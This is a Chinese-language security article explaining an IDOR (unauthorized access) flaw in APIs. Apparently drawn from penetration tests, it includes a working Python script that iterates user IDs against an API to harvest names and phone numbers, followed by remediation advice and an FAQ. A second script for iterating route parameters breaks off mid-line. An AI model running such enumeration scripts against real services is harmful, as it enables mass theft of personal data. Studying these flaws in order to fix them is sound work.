所有文章 > 日积月累 > 遍历API接口地址的深入解析
遍历API接口地址的深入解析

遍历API接口地址的深入解析

漏洞描述

现代应用程序中,API接口的使用变得越来越普遍。然而,很多时候开发者在设计API接口时,对于参数的校验可能并不严格,这可能导致严重的安全隐患。一个常见的漏洞是越权访问,即通过修改请求参数,例如用户ID,可以访问其他用户的信息。

API接口示例

程序通过调用API接口获取数据信息,如果对参数校验不严格,则可能导致越权获取别的账户信息。

案例分析

案例1:APP渗透测试中的越权访问

在一次APP渗透测试中,测试人员发现,通过修改user_id参数,可以获取其他用户的账户信息。以下是详细步骤:

查看数据包,其中有个参数为user_id,服务器根据user_id值回显对应的账号信息。

数据包参数

测试人员尝试修改user_id值为5,发现对应的账号信息随即变动,说明此处对参数的校验不严格。通过对user_id值进行遍历,就能够获取所有的账号信息。

修改后的数据

编写get_api脚本,遍历user_id值,获取账户手机号信息。

脚本结果

获取手机号如下:

获取手机号

案例2:POST请求中的参数遍历

在另一个案例中,通过对POST请求中参数的遍历,可以获取用户的详细信息。以下代码展示了如何利用此漏洞:

import requests
import json
from requests.packages import urllib3
urllib3.disable_warnings()

url = "https://.xxxx.com/api/app/user/getUser"
headers = {
    'App': 'ddup',
    'Os': 'Android',
    'Version': '1.1.7',
    'Versioncode': '14',
    'Content-Type': 'application/json; charset=utf-8',
    'Content-Length': '89',
    'Accept-Encoding': 'gzip, deflate',
    'User-Agent': 'okhttp/3.14.9'
}
for id in range(1,500):
    data = {
        "md5":"BBE806AA7B91B1D92DE9FA2AC9EF9DEA",
        "token":"",
        "tokenId":"",
        "version":14,
        "id":id
    }
    try:
        res = requests.post(url=url, headers=headers, json=data, verify=False).text
        data1 = json.loads(res)
        username = data1['response']['userName']
        realname = data1['response']['realName']
        phone = data1['response']['phone']
        sign = data1['response']['userSign']
        print("用户名:", username, "  真实姓名:", realname, "  手机号:", phone, "  sign:", sign)
        print("————————————————————————————————————————————————————————————————")
    except:
        pass

代码执行结果

漏洞危害

这种漏洞的危害在于,可以批量获取个人手机号信息,甚至批量修改账号密码,给用户的隐私和安全带来巨大的威胁。

漏洞修复建议

  • 对当前账号及user_id值进行匹配校验,防止越权查看其它账号信息。
  • 修改密码时,后端程序应对相关账号参数进行严格校验,防止越权密码修改。

API接口的遍历

在API接口的遍历过程中,可能会遇到不同的参数组合。例如,路径规划接口可能会出现Fromx,y;Tox,y两种参数,需要对所有城市进行遍历。所有城市的坐标经纬度可以通过爬虫从高德地图上爬下来。

#encoding:utf-8
#遍历所有城市路径规划的测试脚本

from xlutils.copy import copy
import urlparse, copy,urllib,xlrd,xlwt,urllib2
from lxml import etree
from hashlib import md5

def url_values_xy(url,fromX,fromY,toX,toY,sign):
    ret = []
    u = urlparse.urlparse(url)
    qs = u.query
    pure_url = url.replace('?'+qs, '')
    qs_dict = dict(urlparse.parse_qsl(qs))
    tmp_dict = copy.deepcopy(qs_dict)
    tmp_dict['fromX'] = fromX
    tmp_dict['fromY'] = fromY
    tmp_dict['toX'] = toX
    tmp_dict['toY'] = toY
    tmp_dict['sign'] = sign
    tmp_qs = urllib.unquote(ur

FAQ

  1. 问:如何有效防止API接口的越权访问?

    • 答:可以通过严格的参数校验和权限验证来防止越权访问,确保只有授权用户才能访问其信息。
  2. 问:API接口遍历的主要风险是什么?

    • 答:主要风险在于数据泄露和安全漏洞的利用,可能导致用户隐私信息的泄露。
  3. 问:开发者如何识别API接口中的漏洞?

    • 答:通过安全测试和代码审查可以识别API接口中的漏洞,特别是对关键参数的处理和验证。
  4. 问:越权访问漏洞如何对用户产生影响?

    • 答:可能导致用户敏感信息泄露,如手机号、地址等,甚至影响用户帐户的安全性。
  5. 问:API接口设计中有哪些最佳实践?

    • 答:确保安全认证,使用HTTPS,限制请求频率,严格验证输入参数,记录和监控API使用情况。

通过对API接口的遍历和漏洞分析,我们可以更好地理解其潜在的安全风险,从而在设计和使用中采取更加谨慎的措施,确保用户数据的安全。

#你可能也喜欢这些API文章!